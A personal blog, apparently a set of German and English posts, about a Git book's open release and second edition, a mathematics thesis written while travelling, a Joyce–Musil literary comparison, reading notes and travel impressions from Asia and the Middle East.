Der Verlage Open Source Press hat zum Ende des Jahres 2015 den Betrieb eingestellt, und die Veröffentlichungsrechte der Texte an die Autoren zurückübertragen. Valentin und ich haben uns entschieden, sowohl den Text des Buches als auch die Materialien, die wir für Schulungen verwendet haben, unter einer CreativeCommons-Lizenz zu veröffentlichen. All das könnt ihr ab sofort unter http://gitbu.ch finden. Viel Spaß damit!
In what feels like a previous life I was a mathematician, and I just recently heard that appearantly my Master’s thesis is graded now. So here it is, for all you people who are interested in the realization of cyclic spaces!
This is what you’ll find in this 41-page document that took me many, many months to craft:
If you are not a mathematician: Gibberish formulas, arrows and some diagrams that don’t seem too impressive. Also 17 occurrences of the word “obvious”, and 12 occurrences of “it is clear”. Obviously, some of these things I wrote down half a year ago aren’t clear to me any more either, so don’t fret.
Mathematicians, especially those specializing in algebraic topology, might find that this text covers a number of interesting fundamental aspects of the theory of simplicial and cyclic spaces with a rather extensive level of detail. Feel free to use this text if it helps you or others.
The citation I prepended to the thesis, written a hundred years ago by my favourite author, so accurately describes the material at hand and my experience that it warrants a translation here:
It is only when one looks not toward the outside at their utility, but within mathematics itself at the relationships among the unused parts, that one sees the other, real face of this science. It is not goal-oriented, but uneconomical and passionate. – The average person doesn’t need much more mathematics than he learns in elementary school; the engineer only enough to find his way around in the collection of tabulations in his technical handbook, which isn’t a lot; even the physicist ordinarily works with quite simple mathematical tools. If they should need something different, they are mostly left to figure it out for themselves, since the mathematician has very little interest in such applied tasks. And this is why specialists in many practically important branches of mathematics are not mathematicians. But not far away are immeasurable realms that exist only for the mathematician: an enourmous nerve center has coalesced around the point of origin of a few lesser muscles. Somewhere inside, the individual mathematician is working, and his windows do not open to the outside, but into adjoining rooms.
There is an interesting story to how this thesis happened: I wrote it while travelling. To me this seemed perfectly normal at the time, but I’ve since heard that it astonishes people, so let me share the story.
My argument went somewhat like this: If you don’t like the cold and desolate winter months (and I don’t like them) and you have a bit of money in the bank (and I had some) and your professor agrees to consult with you using Skype (and I thank him for that) and you happen to live in times where one owns devices that can display PDFs – then it only seems natural that you should travel towards the tropics, following the sun, thinking about mathematics wherever it seems adequate. So that’s what I did.
This was my route: I started off in Spain to visit a friend and see if the nomadic life suits me (two weeks; early drafts of five introductory pages); it did, so I went back to Germany for three days to pack, and went off to Lebanon (I stayed for one month, writing 10 pages). Then I visited a friend in Dubai (two weeks; five pages and a few diagrams; grappled with fundamental problems of my formalism). On to Oman, where at first things went well and I produced a few pages; however I discovered a fundamental flaw in my understanding which my primary sources didn’t deem necessary to address: I painfully remember trying to understand a single, central diagram for eight days in a row, backtracking my way 14 hours a day, becoming increasingly desparate until I gave up and my friend John came to visit me over New Year’s. (Time spent in Oman: roughly a month with a short bus trip back to Dubai because of Visa issues. Unclear how much work I put to paper.) Next was Sri Lanka, where I arrived the day before presidential elections, which luckily went down without civil unrest breaking out. In Sri Lanka I mostly wrote in parks and the jungle, after these sandy countries everything seemed so exotic! And by painstakingly going through all I had written, blowing up seemingly innocent one-line statements to one-page proofs just to make absolutely sure I was correct, I finally found my way out of the trap that I had been in while in Oman. After a month in Sri Lanka, I went to Manila in the Philippines for two weeks. What an awful place! I didn’t get much done there, being busy with other stuff. From there I went to Sydney for a week (I went for job interview; incidentally, this is also where I live and work now…). I had three weeks of holidays on the island of Palawan in the Philippines, where my friend Felix visited me; no work was done there. In Singapore I resumed work and was pleasantly surprised that a considerable amount of work was done already (I only stayed there for a week due to budget constraints). I subsequently traded my windowless 12m² room for an equally priced 40m² flat in the heart of Bukit Bintang, Kuala Lumpur, where I stayed for a month and wrote most of the remainder of the thesis (15 pages). A short 3-day stint in Venice reunited me with my family, and I travelled back to Hamburg with them, where I did a final pass of the text, corrected numerous details and attended to day-stretching last-minute panics induced by seemingly poor choices of category-theoretic models in the very beginning. Then I travelled to Berlin and handed my thesis in. – All done, and not a single day was spent in the desolate winter!
Ich war kürzlich zum ersten Mal in Dublin, und das war Grund genug, mich endlich einmal mit dem modernistischen Epos Ulysses von James Joyce auseinanderzusetzen. Anstatt hier aber zu schreiben: ja, es ist ziemlich anstrengend zu lesen – ja, ohne kapitelweise Sekundär-Zusammenfassungen hätte ich kaum etwas verstanden – ja, es ist sprachgewaltig und auch ziemlich witzig – ja, es ist ein stilistisches und formales Kunstwerk – ja, das war mein zweiter und letzter Versuch, ein Joyce-Fan zu werden und nein, ich werde die anschließend von ihm verfassten Monströsitäten nicht angehen ––
Anstatt also zu wiederholen, was man überall liest, hier im Folgenden der Versuch, zwei zentrale Werke des Modernismus einander gegenüber zu stellen und in Beziehung zu setzen: Ulysses versus Der Mann ohne Eigenschaften. Beide Werke sind recht umfangreich, was aber ja nicht unbedingt abschreckend ist: nur sind sie auch beide kompliziert und sperrig. Joyces Werk nicht so sehr aufgrund der Handlung, sondern der Form: Selten wird der Leser an die Hand genommen, immer muss man aus dem Dialog den Kontext erraten oder bekommt nur rohe Gedanken serviert. Bei Musil wird hingegen ständig reiteriert und Kontext gegeben, mit einer sprachlicher Brillianz die seinesgleichen sucht: nur sind die Gedanken sehr diffiziler philosophisch-dialektischer Natur.
Beide Werke haben eine interessante Gemeinsamkeit: sie sind, ganz in modernistischer Manier, exakt konstruiert in der Zeitspanne, die sie abdecken (– die Form bestimmt den Rahmen): Ulysses ist die Geschichte eines einzigen Tages in Dublin, während der Mann ohne Eigenschaften genau ein Jahr in Wien verlebt (streng genommen: verleben würde, wenn das Buch je zu Ende geschrieben worden wäre). Im letzteren Fall ist ganz klar, wann die Handlung stattfindet, denn das Buch beginnt mit folgendem ersten Absatz:
Über dem Atlantik befand sich ein barometrisches Minimum; es wanderte ostwärts, einem über Rußland lagernden Maximum zu, und verriet noch nicht die Neigung, diesem nördlich auszuweichen. Die Isothermen und Isotheren taten ihre Schuldigkeit. Die Lufttemperatur stand in einem ordnungsgemäßen Verhältnis zur mittleren Jahrestemperatur, zur Temperatur des kältesten wie des wärmsten Monats und zur aperiodischen monatlichen Temperaturschwankung. Der Auf- und Untergang der Sonne, des Mondes, der Lichtwechsel des Mondes, der Venus, des Saturnringes und viele andere bedeutsame Erscheinungen entsprachen ihrer Voraussage in den astronomischen Jahrbüchern. Der Wasserdampf in der Luft hatte seine höchste Spannkraft, und die Feuchtigkeit der Luft war gering. Mit einem Wort, das das Tatsächliche recht gut bezeichnet, wenn es auch etwas altmodisch ist: Es war ein schöner Augusttag des Jahres 1913.
Bei Joyce muss man arg suchen, wenn man wissen will, an welchem Tag die Handlung spielt: Man schreibt das mittlerweile als Bloomsday bekannte und gefeierte Datum des 16. Juni 1904 – das wird aber, abgesehen von kurz vor Schluss, nirgends klar kommuniziert. Man kann sich diese Information zum Beispiel aus den folgenden Fragmenten aus Kapitel drei und vier zusammenstückeln, tief in wirren Gedankengängen vergraben:
He took the hilt of his ashplant, lunging with it softly, dallying still. Yes, evening will find itself in me, without me. All days make their end. By the way next when is it Tuesday will be the longest day. Of all the glad new year, mother, the rum tum tiddledy tum. Lawn Tennyson, gentleman poet. … (Dedalus musing in 3.489)
He listened to her licking lap. Ham and eggs, no. No good eggs with this drouth. Want pure fresh water. Thursday: not a good day either for a mutton kidney at Buckley's. Fried with butter, a shake of pepper. Better a pork kidney at Dlugacz's. While the kettle is boiling. She lapped slower, then licking the saucer clean. Why are their tongues so rough? To lap better, all porous holes. Nothing she can eat? He glanced round him. No. (Bloom in 4.43)
Wir haben es also mit einem Donnerstag fünf Tage vor dem längsten Tag der nördlichen Hemisphäre, dem 21. Juni, zu tun. Welches Jahr? Na ja, da gäbe es mehrere Möglichkeiten: Der 16. Juni fiel zwischen den Jahren 1880 und 1920 auf einen Donnerstag in: 1881, 1887, 1892, 1898, 1904, 1910, sowie 1921. Andere Hinweise?
He faced about and, standing between the awnings, held out his right hand at arm's length towards the sun. Wanted to try that often. Yes: completely. The tip of his little finger blotted out the sun's disk. Must be the focus where the rays cross. If I had black glasses. Interesting. There was a lot of talk about those sunspots when we were in Lombard street west. Looking up from the back garden. Terrific explosions they are. There will be a total eclipse this year: autumn some time. (Bloom thinking in 8.564)
Aber Wikipedia sagt interessanterweise: „There was no Total Solar Eclipse visible from the United Kingdom between 1724 and 1925.“ – Schließlich aber, im vorletzten Kapitel (auch wenn das Datum ab der Mitte an verschiedenen Stellen, aber nicht eindeutig zuordenbar auftaucht) wird es explizit: „Compile the budget for 16 June 1904.“ (17.1456)
Beide Werke erwähnen wiederholt Nietzsche als Philosophen oder Teile seiner Werke: In Ulysses wird mehrmals aus Zarathustra zitiert; Ulrich schenkt Clarisse zu ihrer Hochzeit eine Gesamtausgabe von Nietzsche. Ein ganz zentrales Moment Nietzsche’scher Philosophie ist die auf die griechischen Götter Apollo und Dionysos zurückgehende Dialektik apollinisch-dionysisch. Was bedeutet dionysisch? Das Handwörterbuch der Philosophie erklärt das Wort wie folgt:
Von Dionysos, dem griech. Gott des Weines: neben dem Apollinischen die Personifizierung eines der beiden die Geschicke der Welt lenkenden Prinzipien bei Nietzsche. Während das Apollinische für das Streben nach Begrenzung, nach Maß und Gestalt steht, verkörpert das Dionysische den Drang ins Ungebundene, das Rauschhafte und Ausufernde, das, was die Grenzen aufhebt, die Form zerstört und das Gestalthafte in den Weltgrund zurückwirft.
Während die apollinische Betrachtungsweise also die der Wissenschaft, die der exakten Beschreibung und Klassifizierung, schließlich der Rationalität ist, ist die die dionysische eine des Trunkenen, Orgiastischen: Der Urzustand des Menschen spricht aus dem Un- und Unterbewussten.
Dies führt mich zur folgendenden, zentralen These: Die Herangehensweise Musils ist inhärent apollinisch, während die von Joyce ein meisterhaftes Beispiel für das Dionysische ist. Als Beispiel möchte ich hier eine Szene anführen, die in beiden Büchern beiläufig vorkommt: Männlicher Protagonist trifft ihm unbekannte Frau in der Öffentlichkeit und hat ein spontanes sexuelles Verlangen nach ihr. Nebeneinander gelesen sind diese Ausschnitte hervorragende Beispiele für die Idiosynkrasie der jeweiligen Erzähltechniken.
In Ulysses (4.145) ist Bloom gerade auf dem Weg, für sein Frühstück Leber vom Fleischer zu besorgen:
A kidney oozed bloodgouts on the willowpatterned dish: the last. He stood by the nextdoor girl at the counter. Would she buy it too, calling the items from a slip in her hand? Chapped: washingsoda. And a pound and a half of Denny's sausages. His eyes rested on her vigorous hips. Woods his name is. Wonder what he does. Wife is oldish. New blood. No followers allowed. Strong pair of arms. Whacking a carpet on the clothesline. She does whack it, by George. The way her crooked skirt swings at each whack.
[…]
The porkbutcher snapped two sheets from the pile, wrapped up her prime sausages and made a red grimace.
—Now, my miss, he said.
She tendered a coin, smiling boldly, holding her thick wrist out.
—Thank you, my miss. And one shilling threepence change. For you, please?
Mr Bloom pointed quickly. To catch up and walk behind her if she went slowly, behind her moving hams. Pleasant to see first thing in the morning. Hurry up, damn it. Make hay while the sun shines. She stood outside the shop in sunlight and sauntered lazily to the right. He sighed down his nose: they never understand. Sodachapped hands. Crusted toenails too. Brown scapulars in tatters, defending her both ways. The sting of disregard glowed to weak pleasure within his breast. For another: a constable off duty cuddling her in Eccles lane. They like them sizeable. Prime sausage. O please, Mr Policeman, I'm lost in the wood.
—Threepence, please.
His hand accepted the moist tender gland and slid it into a sidepocket. Then it fetched up three coins from his trousers' pocket and laid them on the rubber prickles. They lay, were read quickly and quickly slid, disc by disc, into the till.
—Thank you, sir. Another time.
A speck of eager fire from foxeyes thanked him. He withdrew his gaze after an instant. No: better not: another time.
—Good morning, he said, moving away.
—Good morning, sir.
No sign. Gone. What matter?
He walked back along Dorset street, reading gravely. […]
Joyce verbalisiert einfach nur das im Kopf Stattfindende, mit all der damit einhergehenden Sprunghaftigkeit, Ungeduldigkeit und vor allem Unreflektiertheit: Wäre es nicht interessant zu untersuchen, wie aus einem sting of disregard innerhalb von Momenten eine Art Verlangen wird? All das interessiert aber offenbar nicht, und außerdem muss er ja bezahlen. Und schon sind die Gedanken wieder woanders, und er liest im Nachhausegehen…
Musil hingegen benutzt eine ganz ähnlich zufällige Begegnung, um – durchaus als Ablenkung, vorher wird ein ganz anderer Gedankengang gesponnen – um zu reflektieren, wie die Nächstenliebe eigentlich ein heuchlerisches Konzept ist, und überhaupt: warum mag man überhaupt Menschen, ohne dass man sie wirklich gut kennt?! Das liest sich dann aber, wie man so schön sagt, „wie gedruckt“ (3. Teil, Kap. 23):
[… es] fehlte seinem Denken bereits die Absicht, eine Entscheidung zu suchen, und er ließ sich bereitwillig ablenken. In seiner Nähe waren gerade zwei Männer zusammengestoßen und riefen sich unangenehme Bemerkungen zu, als wollten sie handgemein werden, woran er mit erfrischter Aufmerksamkeit teilnahm, und als er sich kaum davon abgewandt hatte, stieß sein Blick mit dem einer Frau zusammen, der wie eine fette, auf dem Stengel nickende Blume war. In jener angenehmen Laune, die sich zu gleichen Mengen aus Gefühl und nach außen gerichteter Aufmerksamkeit mischt, nahm er Kenntnis davon, daß die ideale Forderung, seinen Nächsten zu lieben, unter wirklichen Menschen in zwei Teilen befolgt wird, deren erster darin besteht, daß man seine Mitmenschen nicht leiden kann, während das der zweite dadurch wettmacht, daß man zu ihrer einen Hälfte in sexuelle Beziehungen gerät. Ohne zu überlegen, kehrte auch er nach wenigen Schritten um, der Frau zu folgen; es geschah noch ganz mechanisch als Folge der Berührung durch ihren Blick. Er sah ihre Gestalt unter dem Kleid wie einen großen weißen Fisch vor sich, der nahe der Wasseroberfläche ist. Er wünschte sich, ihn männlich zu harpunieren und zappeln sehen zu können, und es lag darin ebensoviel Abneigung wie Verlangen. An kaum merklichen Zeichen wurde ihm auch Gewißheit, daß diese Frau von seinem Hinterdreinstreichen wisse und es billige. Er suchte zu ermitteln, auf welchen Platz sie in der gesellschaftlichen Schichtung gehören möge, und riet auf höheren Mittelstand, wo es schwer ist, die Stellung genau zu bestimmen. »Kaufmannsfamilie? Beamtenfamilie?« fragte er sich. Aber verschiedene Bilder tauchten willkürlich auf, darunter sogar das einer Apotheke: er fühlte den scharf-süßen Geruch an dem Mann, der nach Hause kommt; die kompakte Atmosphäre des Heims, der nichts mehr von den Zuckungen anzumerken ist, unter denen sie kurz vorher die Diebslampe eines Einbrechers durchleuchtet hat. Ohne Zweifel war das abscheulich und doch ehrlos lockend.
Und während Ulrich weiter hinter der Frau herging und in Wahrheit fürchtete, daß sie vor einer Auslage stehen bleiben und ihn zwingen werde, entweder blöde weiterzustolpern oder sie anzusprechen, war irgendetwas immer noch unabgelenkt und hellwach in ihm. »Was mag eigentlich Agathe von mir wollen?« […]
Ähnlich wie Proust ist Musil ein Autor, der wie mit einem Spot-Scheinwerfer ganz bestimmte Winkel einer sehr weiten Zeitspanne ausleuchtet: Nur nebenbei wird das Jahr des Urlaubs chronologisiert, meist dient dies nur als Überleitung zu einer Situation, die es Musil (in Gestalt von Ulrich, meist denkend alleine oder im Quasimonolog) erlaubt, mehrere Dutzend Seiten bei einem Gedankengang zu verharren. Ulysses ist hier die Antithese, hier gehen große sozialphilosophische Thesen einfach unter, weil es nachts ist und alle Gesprächsteilnehmer sturzbetrunken sind:
BLOOM: I stand for the reform of municipal morals and the plain ten commandments. New worlds for old. Union of all, jew, moslem and gentile. Three acres and a cow for all childern of nature. Saloon motor hearses. Compulsory manual labour for all. All parks open to the public day and night. Electric dishscrubbers. Tuberculosis, lunacy, war and mendicancy must now cease. General amnesty, weekly carnival with masked licence, bonuses for all, esperanto the universal language with universal brotherhood. No more patriotism of barspongers and dropsical impostors. Free money, free rent, free love and a free lay church in a free lay state.
(Anschließend fängt Bloom an zu singen und jemand schmeißt einen Schuh nach ihm. Wobei das vielleicht auch nur in Gedanken passiert, man weiß das nicht so genau. Zugehört hat ihm in jedem Fall niemand so wirklich.) –
Schließlich ist neben dem Gegensatz Apollinisch–Dionysisch ein weiteres zentrales Motiv der Philosophie Nietzsches die unbedingte und nicht immer rationalisierbare Bejahung des Lebens, ein ständiges und insistierendes Ja-Sagen zum Leben – eine im Kern anti-nihilistische Haltung. Joyce lässt Ulysses ganz bewusst mit dem Wort “Yes” enden (auch wenn die Intention dahinter zugegebenermaßen nicht unbedingt lebensbejahned ist: statt dessen komplettiert das Wort laut eines Briefen von Joyce an Frank Budgen den das Kapitel durchziehenden verbalen Symbolismus für das Weibliche). – Im Gegensatz dazu erschafft der Mann ohne Eigenschaften eine große philosophische Apparatur, um die Lebensbejahung zu rationalisieren – tut dann aber nicht den entscheidenden Schritt der Verwirklichung: Das Buch bleibt unvollendet.
Es ist eine Weile her seit dem letzten Artikel, und auch wenn ich hauptsächlich Mathematik getrieben habe, hat sich viel angesammelt.
Überraschend informativ und einfach zu lesen ist Foucaults Überwachen und Strafen, und natürlich aktueller denn je.
Die Essaysammlung Arguably von Christopher Hitchens ist ein nettes Sammelsurium, mit einigen sehr beeindruckenden Beiträgen. Ich wusste zum Beispiel nicht, dass Hitchens sich zu der Zeit, als die Praxis des Waterboarding gerade in die öffentliche Wahrnehmung gezerrt wurde, selbst dieser Foltermethode unterzogen hatte – um einfach zu erfahren, wie sich das angefühlt – und darüber berichten zu können.
Als ein sehr mathematisch motivierter Autor gilt J. L. Borges. Dessen Kurzgeschichtensammlung Labyrinths hat mir gut gefallen, auch wenn sich die mathematischen Aspekte seiner Literatur zumindest in dieser Auswahl meist darauf reduzieren, die inhärenten Paradoxa von Rekursion und Unendlichkeit zu verarbeiten. Er ist aber ein Autor, der das Träumen glorifiziert und immer wieder die Grenzen der Erkenntnis ausleuchtet, wie zum Beispiel in Avatars of the Tortoise:
‘The greatest magician (Novalis has memorably written) would be the one who would cast over himself a spell so complete that he would take his own phantasmagorias as autonomous appearances. Would not this be our case?’ I cojecture that this is so. We (the undivided divinity operating within us) have dreamt the world. We have dreamt it as firm, mysterious, visible, ubiquitous in space and durable in time; but in its architecture we have allowed tenuous and eternal crevices of unreason which tell us it is false.
Beeindruckt war ich von Henry Thoreau, dem amerikanischen Naturalisten, der mit Walden ein Werk geschafft hat, was schon vor der Industrialisierung den „Ausstiegsgedanken“ geprägt hat, und die philosophischen und praktischen Aspekte eines Lebens fernab der Gesellschaft, alleine im Wald und als Selbstversorger erläutert:
But I would say to my fellows, once for all, As long as possible live free and uncommitted. It makes but little difference whether you are committed to a farm or the county jail.
Seinen ernährungstechnischen Ansichten stehe ich teils sympathisch gegenüber (wenn auch nicht in der Begründung) –
I believe that every man who has ever been earnest to preserve his higher or poetic faculties in the best condition has been particularly inclined to abstain from animal food, and from much food of any kind.
– seine Ansichten zu Wein und Kaffee aber teile ich nicht:
I believe water is the only drink for a wise man; wine is not so noble a liquor; and think of dashing the hopes of a morning with a cup of warm coffee, or of an evening with a dish of tea!
Faulkner: As I Lay Dying – Boah, also so concious-stream-narrative kann ich mal gar nicht ab.
Ayn Rand: The Fountainhead – Das Buch ist wie ein Verkehrsunfall: So schrecklich es auch ist, man kann nicht wegschauen. Ich habe selten ein Buch gelesen, in dem die Prosa so arg schlecht ist und die Charaktere so dermaßen holzschnittig gezeichnet sind. Damals muss ein unglaubliches soziales Klima geherrscht haben, dass so ein Buch Erfolg haben konnte. Trotzdem fesselnd. Und: Keine Illustration der Bauwerke wird der dahinter stehenden Idee gerecht. (An dieser Stelle möchte ich auf das Blog eines guten Freundes von mir linken: cncrt abstraction beschäftigt sich mit Brutalismus-Architektur, was glaube ich der Essenz der Bauwerke Howard Roarks nicht allzu fern liegt.)
Über alle Maßen gelobt unter den klassischen Sci-Fi-Autoren ist natürlich Philipp K. Dick. Zum Einstieg VALIS zu lesen war vermutlich nicht die beste Entscheidung, ist es doch eher dem Spätwerk zuzuordnen und sehr autobiografisch. Viel besser haben mir dann die Three Stigmata of Palmer Eldrich gefallen, ziemlich halluzinatorisch-dystopisch, mir alles in Allem aber nicht konkret und anschaulich genug. Ein weiterer Klassiker, Kurt Vonneguts Slaughterhouse-five, gefiel mir halbwegs gut, aber schön, dass es so kurz war. Dass der Erzähler ständig in Zeit und Raum springt hat mich an Hilsenraths „Märchen vom letzten Gedanken“ erinnert.
Sehr beeindruckt war ich von Jean-Paul Sartres Nausea (dt.: Der Ekel):
… The past is a property-owners’s luxury.
Where should I keep mine? You can’t put your past in your pocket; you have to have a house in which to store it. I possess nothing but my body; a man on his own, with nothing but his body, can’t stop memories; they pass through him. I shouldn’t complain: all I have ever wanted was to be free.
Davon angespornt habe ich auch The Age of Reason gelesen, war aber nach der Hälfte richtiggehend angenervt und habe den Rest nur noch überflogen. Zu den französischen Existentialisten gehört natürlich auch Camus, aber sein Mythos des Sisyphos ist zwar gut und nett, aber literarisch verpackt kann ich mit solcher Philosophie mehr anfangen.
Tom Wolfe schreibt so ein bisschen wie Jonathan Franzen. The Bonfire of the Vanities war eine beeindruckend vielschichtige Geschichte, liebevoll konstruiert, aber eben auch so ein Momentanpanorama-Epos.
Manchmal gehen einem die Bücher aus, und dann muss man nehmen, was man kriegt. So war ich auf der Insel Palawan darauf angewiesen, mich bei einem Australier und einem Kanadier, die sich beide dort zur Ruhe gesetzt hatten und gebrauchte Bücher für einen Euro pro Stück von ihrer Veranda verkauften, einzudecken: Noch ein bisschen spannend ist Stephen Leather: Hungry Ghost, aber nur noch pathetisch und schlecht ist Morris West: Summer of the Red Wolf. Einen noch mir noch unbekannten Krimi von Ian Rankin, A Question of Blood, fand ich dort auch, sowie John le Carrés Absolute Friends, von dem ich aber jetzt schon nicht mehr sagen könnte, worum es eigentlich ging.
Ab und zu muss man auch Bücher lesen, die in die Hosentasche passen. Henry James hat mit The Turn of the Screw eine nette Horrorgeschichte geschaffen, die glücklicherweise schnell zum Punkt kommt. Auf Verdacht habe ich Andre Gide: The Immoralist gekauft, und hätte mehr Immoralität erwartet.
Wenn Krimis oder Thriller weltweit auf einmal überall auftauchen, dann ist das ein Indiz, dass sie zumindest spannend sind. Gillian Flynn: Gone Girl ist es auch, aber ein so dermaßen schlechtes Ende, das tat schon weh. Die Buchverfilmung, die ich direkt im Anschluss gesehen habe, hat mir nicht gut gefallen.
Schon häufiger ist es mir passiert, dass ich ein Buch las, über das Kritiker schrieben: »full of ideas … grand in scope« – und ich fand eine Geschichte vor, die höchstens beeindruckend war ob der aussagelosen Weitläufigkeit des Textes, in anderen Worten: Es sind häufig Geschichten, die besser Exposition oder Kurzgeschichte geblieben wären. Über Zia Haider Rahmans Debutroman In the Light of What We Know bin ich gestolpert aufgrund des Zitates von Alex Preston auf dem Cover: »The novel I’d hoped Jonathan Franzen’s ›Freedom‹ would be.« – Ja, in typischer »Grand Scope«-Manier ist ein Leitmotiv des Buches der Gödelsche Unvollständigkeitssatz (abstrakt! Mathematik und Logik!), aber wo andere Bücher daraus Realweltanalogien gebastelt hätten, die unweigerlich lächerlich erscheinen für einen jeden, der ein wenig Mathematik studiert hat, tritt in verschiedenen Situationen der Vater des Protagonisten, seines Zeichens Physikprofessor, auf, zitiert mehrfach Richard Feynman und erläutert außerdem erschöpfend, dass keine Analogie jemals den Tatsachen gerecht wird. – Neben vielen anderen Themen, die der Roman behandelt, ist das zentrale Thema aber auf geradezu frappierend exakte Weise bereits vom Titel erschöpfend behandelt: Die Realität lässt sich nicht ansatzweise so kontrollieren, wie die Mathematik es zulässt: nachträglich erlangtes Wissen kann die damals als korrekt eingestufte Bewertung einer Situation abstrus verkehren – während ein mathematischer Beweis nunmal stimmt oder nicht. Auch sehr interessant ist das Buch, weil es Einblicke in Welten gibt, die den meisten Menschen verschlossen bleiben. Diese Kritik fasst es gut zusammen:
It is a novel that displays a formidable familiarity with élite knowledge, and takes for granted a capacity for both abstract and worldly thinking.
Daniel Suarez: Influx – Schon spannend aber auch ein bisschen flach und vorhersehbar.
F. Scott Fitzgerald: The Great Gatsby – so ein Klassiker. Kann man, muss man aber nicht. Wie ich höre, veranstaltet man heutzutage (wieder?) „Gatsby-Partys“…
Wenn ein Autor es schafft, einen allgemein bekannten Ismus zu prägen, dann ist es meist ratsam, zumindest ein bisschen was im Original gelesen zu haben. (Beispiel: Darwinismus. Aber Achtung: Fast alle Kommunisten haben ihren eigenen Ismus, und nur weil der Trotzkyismus ein paar Anhänger hat, heißt das noch nicht, dass man Trotzky lesen muss.) – Worauf ich hinaus will: Wenn jemand es schafft, den Begriff Sadismus zu prägen, der so sehr eigenes Wort ist, das kaum noch jemand den Autor dahinter kennt, dann ist das doch interessant zu erforschen, wer de Sade war. Und so habe ich mich also hingesetzt – nicht zuletzt motiviert durch Adorno&Horkheimers Behandlung des Themas – und zwei zentrale Werke des Marquis de Sade gelesen: Zuerst Justine, oder die Leiden der Tugend, das nach 500 Seiten mit einem geradezu epischen cliff-hanger aufhört; gefolgt von der Weiterführung der Erzählung, diesmal aus der Sicht der Schwester: Juliette, oder die Vorteile des Lasters. – Die Justine ist leider etwas repetitiv und wäre interessanter, wenn sie halb so lang wäre. Die Juliette aber hat mit knapp 300 Seiten eine gute Länge. Beide Romane sind kurz vor dem Übergang 18./19. Jahrhundert entstanden, das heißt sehr lange Zeit bevor Amoralität, Egoismus, Atheismus sowie Anti-Christianismus, und natürlich: das offene Reden über sexuelle Akte jeglicher Art und Coleur salonfähige Themen waren (wenn sie es das überhaupt jemals waren; sagen wir: literaturfähig, man denke daran, dass selbst Lolita keinen Verleger in den USA fand, dann im „liberalen Frankreich“ über einen eher wenig seriösen Verlag publiziert wurde, kurze Zeit später aber für zwei Jahre lang dort verboten war – und das war in den Neunzehnhundertfünfzigerjahren!). – Nun also, de Sade schafft etwas, was ich nicht für möglich gehalten hätte: Man schlage ein beliebiges der beiden Bücher zufällig auf und lese 20 Seiten – und diese zwanzig Seiten stellen jeden Hardcore-Scat-BDSM-Snuff-Porno in den Schatten (– gibt es sowas in der Kombination überhaupt?). Wenn die ältere Generation sagt: „Aber die heutige Jugend ist so verroht!“ (Stichworte: Killerspiele, Gewaltvideos, Pornokonsum), dann sage ich: Wenn wir eines sind, dann sind wir – historisch gesehen – ziemlich zivilisiert in der gesamtgesellschaftlichen Ausgestaltung unserer Sexual-, Gewalt- und Tötungsphantasien. Wirklich.
Gabriel Garcia Marquez: Die Liebe in den Zeiten der Cholera. Etwas ausladend, aber gut.
Ich wohne jetzt in Sydney, und um ein bisschen Trivia-Kenntnisse zu erlangen habe ich Bill Bryson: Down Under gelesen: Lustig und informativ. – Aber ein wirklich unglaubliches Buch ist Bruce Chatwins Bericht The Songlines über seine Reise durch das australische Outback auf den Spuren der mündlich überlieferten Tradition der Aboriginies. Ja, es ist anekdotisch und die Textgestalt ist ab der Mitte durch Exzerpte aus seinen Notizbüchern recht eigenwillig; auch sollte man seiner Theorie über den Mensch als ursprünglich nomadisch eine gewisse Skepsis entgegenbringen. Aber interessant und thought-provoking ist dieses Buch in jedem Fall.
Roberto Bolaño: Third Reich. Mehr alte Werke werden ausgegraben…
Cormac McCarthy: The Road. – Hat mich eine Nacht lang wach gehalten.
I’ve just arrived in Singapore from a 3-week trip to Palawan, one of the larger islands in the southwestern Philippines. You can imagine the sights as something like this: Beautiful, deserted beaches with clear water, rice fields and impenetrable jungle:
You will find unique and expansive eco-systems, e.g. huge mangrove forests or the Underground River, a UNESCO world heritage site in the form of a long river flowing through a dripstone cave, home to approximately 40,000 bats.
While Palawan is definitely a place to approach with a backpacker mentality – expect bumpy, curvy roads, small villages with electricity only in the evening hours, and a hot shower only in the most up-market places – the tourism sector is a big communal employer (despite the rather small number of guests) and tightly controlled by the government, so prices and service are in general good and rip-offs rare. Put differently, it is very easy and rewarding to travel there.
It feels like a small paradise at the end of the world.
I didn’t take a lot of photos in Sri Lanka, but here’s an impression of the beaches south of Colombo (which are trembling when the train passes not 20 meters behind your back) and Negombo.
Signs that you’ll see in the streets in Sri Lanka tend to be really very considerate of the reader, always apologizing and wishing the best. It’s a really cute custom, and a little friendliness goes a long way! Here are some examples.
I was joined in Oman by an old friend, and our first stop was Sur:
The next day we went on a day trip to Wadi Shab. Instead of swimming in the upper ponds, we ventured to explore a route that featured huge boulders which were at times difficult to scale, especially with 10 liters of water in a backpack. Compared to the Wadi, which was really rather crowded, we didn’t meet a single soul during the hike. When we came back – it was already an hour after dusk –, the boats that carry people over the initial, 400m wide and rather deep pond to the entry of the Wadi were gone. Since we wanted to travel the next morning, we tried hard not to get the backpack and spare clothes wet, and succeeded – although we had to take turns swimming part of the way around areas impossible to climb, in order to lift the backpack up a three-meter vertical slope… Generally not advisable.
(Talking about general travel advices: If there is the slightest chance there will be water – and there always is –, carry passport and phone in watertight ziplock bags, so that you have the fail-safe option of simply swimming with all your stuff.)
Then on to Nizwa, which is surrounded by seemingly infinitely stretching chains of rather small and steep but impressive mountains. Easy to fall apart (due to the iron content being washed out?), they are covered by debris and pebble of varying size which makes them fun and yet challenging to move in. Also: Ancient defense walls!
For the 43rd UAE national day last week, His Highness Hamdan bin Mohammed Al Maktoum, Crown Prince of Dubai (the second son of Dubai’s monarch), installed an open-air, 2.2 km long continuous graffiti wall created by more than 100 artists, shaped in the form of a map of the UAE:
Here’s a sample of the better ones:
Lange in Planung, aber nun ist sie endlich lieferbar: Die zweite, überarbeitete Auflage des Git-Buchs von Valentin und mir. Da ich gerade nicht am Lande bin, habe ich das Buch noch nicht in den Händen gehalten, aber Valentin hat ein Foto gemacht, denn das Buch trägt das neue Git-Logo auf dem Cover:
Die erste Auflage war Mitte 2011 erschienen. Etwas mehr als drei Jahre später ist diese ausverkauft, und es hat sich so viel in Git verändert, dass es sich lohnt, den alten Text nicht bloß nachzudrucken, sondern aufzuarbeiten (und die Fehler zu korrigieren). Ich zitiere aus dem Vorwort:
